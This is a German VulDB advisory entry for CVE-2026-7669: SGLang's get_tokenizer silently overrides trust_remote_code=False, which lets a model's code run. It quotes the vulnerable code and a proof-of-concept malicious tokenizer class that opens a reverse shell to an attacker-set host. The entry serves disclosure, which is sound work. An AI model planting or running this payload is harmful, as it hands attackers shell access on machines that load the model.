sgl-project SGLang bis 0.5.9 HuggingFace Transformer hf_transformers_utils.py get_tokenizer trust_remote_code erweiterte Rechte
| CVSS Meta Temp Score | Aktueller Exploitpreis (≈) | CTI Interest Score |
|---|---|---|
| 6.9 | $0-$5k | 0.00 |
Zusammenfassung
Eine Schwachstelle, die als kritisch eingestuft wurde, wurde in sgl-project SGLang bis 0.5.9 gefunden. Betroffen davon ist die Funktion get_tokenizer der Datei python/sglang/srt/utils/hf_transformers_utils.py der Komponente HuggingFace Transformer Handler. Durch Beeinflussen des Arguments trust_remote_code mit der Eingabe False durch Boolean kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden.
Diese Verwundbarkeit ist als CVE-2026-7669 gelistet. Umgesetzt werden kann der Angriff über das Netzwerk. Ferner existiert ein Exploit.
Details
In sgl-project SGLang bis 0.5.9 (Artificial Intelligence Software) wurde eine kritische Schwachstelle ausgemacht. Betroffen ist die Funktion get_tokenizer der Datei python/sglang/srt/utils/hf_transformers_utils.py der Komponente HuggingFace Transformer Handler. Mittels Manipulieren des Arguments trust_remote_code mit der Eingabe False kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden. CWE definiert das Problem als CWE-94. Dies hat Einfluss auf Vertraulichkeit, Integrität und Verfügbarkeit. Das Advisory fasst zusammen:
SGLang pins transformers==5.3.0 in pyproject.toml. Every current SGLang installation is affected. Both tokenizer_mode=\"auto\" (default) and tokenizer_mode=\"slow\" are vulnerable.Gefunden wurde das Problem am 07.04.2026. Die Schwachstelle wurde durch Nicholas Gould, David Rochester (ngould und davidrochester) öffentlich gemacht. Im Advisory ist nachzulesen:
trust_remote_code=False is an explicit security boundary. The user sets it to prevent code execution from untrusted models. SGLang silently overrides it, executing code in a context the user explicitly prohibited.Die Verwundbarkeit wird als CVE-2026-7669 geführt. Sie gilt als schwierig ausnutzbar. Der Angriff kann über das Netzwerk angegangen werden. Um eine Ausnutzung durchzusetzen, muss keine spezifische Authentisierung umgesetzt werden. Es sind technische Details sowie ein öffentlicher Exploit zur Schwachstelle bekannt. Als Angriffstechnik weist das MITRE ATT&CK Projekt die ID T1059 aus. Die Schwachstelle entsteht durch folgenden Code: # python/sglang/srt/utils/hf_transformers_utils.py:898-909
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
) Das Advisory weist darauf hin:On the first call with trust_remote_code=False, transformers returns TokenizersBackend without executing the .py file. SGLang detects this, silently retries with trust_remote_code=True, and transformers executes tokenizer.py.Ein öffentlicher Exploit wurde durch Nicholas Gould/David Rochester (gouldnicholas/davidrxchester) in Python umgesetzt. Der Exploit wird unter github.com zur Verfügung gestellt. Er wird als proof-of-concept gehandelt. Mindestens 25 Tage galt die Schwachstelle als nicht öffentlicher Zero-Day. Während dieser Zeit erzielte er wohl etwa auf dem Schwarzmarkt. Der durch den Exploit genutzte Code gestaltet sich wie folgt:
import os, pathlib
from transformers import PreTrainedTokenizerFast
class MaliciousTokenizer(PreTrainedTokenizerFast):
def __init__(self, *args, **kwargs):
pathlib.Path("/tmp/sglang_rce_marker").write_text("pwned")
host = os.environ.get("ATTACKER_HOST")
if host:
import socket
s = socket.socket()
s.connect((host, int(os.environ.get("ATTACKER_PORT", "4444"))))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
os.execve("/bin/sh", ["sh"], os.environ)
super().__init__(*args, **kwargs) Das Advisory zeigt auf:The PoC runs 7 phases producing 29 individually testable claims. The four core proof phases isolate the bug to lines 898-909: Phase 1 confirms transformers respects False (rules out an upstream bug); Phase 1b confirms sglang with those 9 lines stripped respects False (isolates the cause); Phase 2 confirms unpatched sglang overrides it; Phase 2b confirms the strip is surgical (explicit True still loads). Phases 3-5 add slow-mode coverage, severity context, and a chain-reachability check that confirms UI:R stands and 8.8 High is the correct CVSS.Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.
Unter anderem wird der Fehler auch in der Verwundbarkeitsdatenbank von EUVD (EUVD-2026-26802) dokumentiert. Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
Produkt
Typ
Hersteller
Name
Version
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔒VulDB Zuverlässigkeit: 🔍
CVSSv3
VulDB Meta Base Score: 7.2VulDB Meta Temp Score: 6.9
VulDB Base Score: 5.6
VulDB Temp Score: 5.1
VulDB Vector: 🔒
VulDB Zuverlässigkeit: 🔍
Person Base Score: 8.8
Person Vector: 🔒
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vektor | Komplexität | Authentisierung | Vertraulichkeit | Integrität | Verfügbarkeit |
|---|---|---|---|---|---|
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Zuverlässigkeit: 🔍
Person Base Score: 🔒
Exploiting
Klasse: Erweiterte RechteCWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒
Physisch: Nein
Lokal: Nein
Remote: Ja
Verfügbarkeit: 🔒
Zugang: öffentlich
Status: Proof-of-Concept
Autor: Nicholas Gould/David Rochester (gouldnicholas/davidrxchester)
Programmiersprache: 🔒
Download: 🔒
EPSS Score: 🔒
EPSS Percentile: 🔒
Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔒
| 0-Day | freischalten | freischalten | freischalten | freischalten |
|---|---|---|---|---|
| Heute | freischalten | freischalten | freischalten | freischalten |
Threat Intelligence
Interesse: 🔍Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍
Gegenmassnahmen
Empfehlung: keine Massnahme bekanntStatus: 🔍
0-Day Time: 🔒
Exploit Delay Time: 🔍
Timeline
07.04.2026 Schwachstelle gefunden07.04.2026 Hersteller informiert
02.05.2026 Advisory veröffentlicht
02.05.2026 VulDB Eintrag erstellt
03.05.2026 Exploit veröffentlicht
04.05.2026 VulDB Eintrag letzte Aktualisierung
Quellen
Person: Nicholas Gould, David Rochester (ngould, davidrochester)Status: Nicht definiert
CVE: CVE-2026-7669 (🔒)
GCVE (CVE): GCVE-0-2026-7669
GCVE (VulDB): GCVE-100-360817
EUVD: 🔒
scip Labs: https://www.scip.ch/?labs.20161013
Eintrag
Erstellt: 02.05.2026 10:05Aktualisierung: 04.05.2026 06:26
Anpassungen: 02.05.2026 10:05 (54), 03.05.2026 04:01 (1), 04.05.2026 06:23 (51), 04.05.2026 06:26 (8)
Komplett: 🔍
Einsender: ngould
Editor: ngould
Cache ID: 216::103
Submit
Akzeptiert
- Submit #799263: sgl-project sglang <=0.5.9 Protection Mechanism Failure (von ngould)
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
Bisher keine Kommentare. Sprachen: de + en.
Bitte loggen Sie sich ein, um kommentieren zu können.